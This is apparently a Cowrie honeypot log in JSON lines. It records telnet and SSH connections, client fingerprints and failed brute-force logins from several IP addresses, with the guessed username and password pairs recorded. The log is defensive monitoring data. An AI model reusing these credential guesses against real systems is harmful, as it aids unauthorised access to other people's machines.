{"eventid":"cowrie.session.closed","duration":44.31941223144531,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:12.052500Z","src_ip":"45.58.127.90","session":"4e64e82acd25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:12.974006Z","src_ip":"98.70.48.241","session":"f7d1f6fa2395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:14.607543Z","src_ip":"47.239.15.75","session":"3c2fd3763cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.30806565284729,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:17.418754Z","src_ip":"45.58.127.90","session":"bb4513dd9627","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.5","message":"Connection lost after 13.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:18.103292Z","src_ip":"47.239.15.75","session":"3c2fd3763cc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.18647050857544,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:21.141940Z","src_ip":"45.58.127.90","session":"12eacadde42a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.823156118392944,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:24.947424Z","src_ip":"45.58.127.90","session":"66a00fec5565","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":44676,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d861d1fe2dd","protocol":"telnet","message":"New connection: 92.204.138.187:44676 (10.17.0.5:23) [session: 3d861d1fe2dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:27.298053Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.239.15.75","src_port":47832,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4b821d70367","protocol":"ssh","message":"New connection: 47.239.15.75:47832 (159.203.135.109:22) [session: c4b821d70367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:29.247747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:29.339629Z","src_ip":"47.239.15.75","session":"c4b821d70367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38510,"dst_ip":"10.17.0.5","dst_port":23,"session":"282d3fd182f2","protocol":"telnet","message":"New connection: 45.58.127.90:38510 (10.17.0.5:23) [session: 282d3fd182f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:34.154512Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:39.993112Z","src_ip":"47.239.15.75","session":"c4b821d70367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39542,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fad29f9f392","protocol":"telnet","message":"New connection: 45.58.127.90:39542 (10.17.0.5:23) [session: 6fad29f9f392]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:45.747511Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:47.690413Z","src_ip":"47.239.15.75","session":"c4b821d70367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.75259017944336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:30:58.050555Z","src_ip":"92.204.138.187","session":"3d861d1fe2dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":57512,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c4050f73df2","protocol":"telnet","message":"New connection: 45.58.127.90:57512 (10.17.0.5:23) [session: 5c4050f73df2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:03.765464Z"}
{"eventid":"cowrie.session.closed","duration":37.532251596450806,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:11.686648Z","src_ip":"45.58.127.90","session":"282d3fd182f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":58702,"dst_ip":"159.203.135.109","dst_port":22,"session":"d049d766464e","protocol":"ssh","message":"New connection: 98.70.48.241:58702 (159.203.135.109:22) [session: d049d766464e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:15.983445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:15.991501Z","src_ip":"98.70.48.241","session":"d049d766464e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:16.189138Z","src_ip":"98.70.48.241","session":"d049d766464e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:17.006120Z","src_ip":"98.70.48.241","session":"d049d766464e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:18.209267Z","src_ip":"98.70.48.241","session":"d049d766464e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.005802392959595,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:28.753186Z","src_ip":"45.58.127.90","session":"6fad29f9f392","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":54476,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1cdf5f32d8d","protocol":"telnet","message":"New connection: 45.58.127.90:54476 (10.17.0.5:23) [session: b1cdf5f32d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:37.110247Z"}
{"eventid":"cowrie.session.closed","duration":34.830676317214966,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:38.595492Z","src_ip":"45.58.127.90","session":"5c4050f73df2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"90.4","message":"Connection lost after 90.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:31:59.648317Z","src_ip":"47.239.15.75","session":"c4b821d70367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.204.138.187","src_port":44844,"dst_ip":"10.17.0.5","dst_port":23,"session":"aeb0f15b64ca","protocol":"telnet","message":"New connection: 92.204.138.187:44844 (10.17.0.5:23) [session: aeb0f15b64ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:12.290501Z"}
{"eventid":"cowrie.session.closed","duration":36.895042419433594,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:14.005171Z","src_ip":"45.58.127.90","session":"b1cdf5f32d8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":44382,"dst_ip":"159.203.135.109","dst_port":22,"session":"116b481c49f7","protocol":"ssh","message":"New connection: 98.70.48.241:44382 (159.203.135.109:22) [session: 116b481c49f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:17.683248Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:17.688077Z","src_ip":"98.70.48.241","session":"116b481c49f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:17.883222Z","src_ip":"98.70.48.241","session":"116b481c49f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123123","message":"login attempt [sftpuser/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:18.696233Z","src_ip":"98.70.48.241","session":"116b481c49f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:19.894930Z","src_ip":"98.70.48.241","session":"116b481c49f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38846,"dst_ip":"10.17.0.5","dst_port":23,"session":"3319d008120f","protocol":"telnet","message":"New connection: 45.58.127.90:38846 (10.17.0.5:23) [session: 3319d008120f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:31.994574Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":38852,"dst_ip":"10.17.0.5","dst_port":23,"session":"b969f056b57f","protocol":"telnet","message":"New connection: 45.58.127.90:38852 (10.17.0.5:23) [session: b969f056b57f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:36.579779Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":35308,"dst_ip":"10.17.0.5","dst_port":23,"session":"372edde1e20f","protocol":"telnet","message":"New connection: 45.58.127.90:35308 (10.17.0.5:23) [session: 372edde1e20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:38.615205Z"}
{"eventid":"cowrie.session.closed","duration":30.778013706207275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:32:43.068382Z","src_ip":"92.204.138.187","session":"aeb0f15b64ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.0905704498291,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:12.670223Z","src_ip":"45.58.127.90","session":"b969f056b57f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.80009603500366,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:16.794530Z","src_ip":"45.58.127.90","session":"3319d008120f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":39136,"dst_ip":"159.203.135.109","dst_port":22,"session":"a74b1327703f","protocol":"ssh","message":"New connection: 98.70.48.241:39136 (159.203.135.109:22) [session: a74b1327703f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:18.100091Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:18.105387Z","src_ip":"98.70.48.241","session":"a74b1327703f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:18.300919Z","src_ip":"98.70.48.241","session":"a74b1327703f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.704641819000244,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:18.319734Z","src_ip":"45.58.127.90","session":"372edde1e20f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"guest","password":"Welcome","message":"login attempt [guest/Welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:19.114710Z","src_ip":"98.70.48.241","session":"a74b1327703f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:20.313489Z","src_ip":"98.70.48.241","session":"a74b1327703f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42148,"dst_ip":"10.17.0.5","dst_port":23,"session":"918cbaf3d55c","protocol":"telnet","message":"New connection: 45.58.127.90:42148 (10.17.0.5:23) [session: 918cbaf3d55c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:41.816241Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":32713,"dst_ip":"10.17.0.5","dst_port":22,"session":"27ebfd1623dc","protocol":"ssh","message":"New connection: 2.57.121.112:32713 (10.17.0.5:22) [session: 27ebfd1623dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:43.411301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:43.416446Z","src_ip":"2.57.121.112","session":"27ebfd1623dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:43.522808Z","src_ip":"2.57.121.112","session":"27ebfd1623dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redknapp","message":"login attempt [admin/redknapp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:44.018613Z","src_ip":"2.57.121.112","session":"27ebfd1623dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redfred","message":"login attempt [admin/redfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:45.129447Z","src_ip":"2.57.121.112","session":"27ebfd1623dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42164,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca0e6714c37","protocol":"telnet","message":"New connection: 45.58.127.90:42164 (10.17.0.5:23) [session: 7ca0e6714c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:45.586076Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redeemed","message":"login attempt [admin/redeemed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:46.239116Z","src_ip":"2.57.121.112","session":"27ebfd1623dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"redcloud","message":"login attempt [admin/redcloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:47.349320Z","src_ip":"2.57.121.112","session":"27ebfd1623dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":42190,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c1cdcf2ce6e","protocol":"telnet","message":"New connection: 45.58.127.90:42190 (10.17.0.5:23) [session: 2c1cdcf2ce6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:48.437814Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"raygun","message":"login attempt [admin/raygun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:48.457980Z","src_ip":"2.57.121.112","session":"27ebfd1623dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:49.566618Z","src_ip":"2.57.121.112","session":"27ebfd1623dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.71.233.73","src_port":22896,"dst_ip":"10.17.0.5","dst_port":22,"session":"36a28005409d","protocol":"ssh","message":"New connection: 185.71.233.73:22896 (10.17.0.5:22) [session: 36a28005409d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:54.678327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T15:33:54.683324Z","src_ip":"185.71.233.73","session":"36a28005409d","protocol":"ssh"}
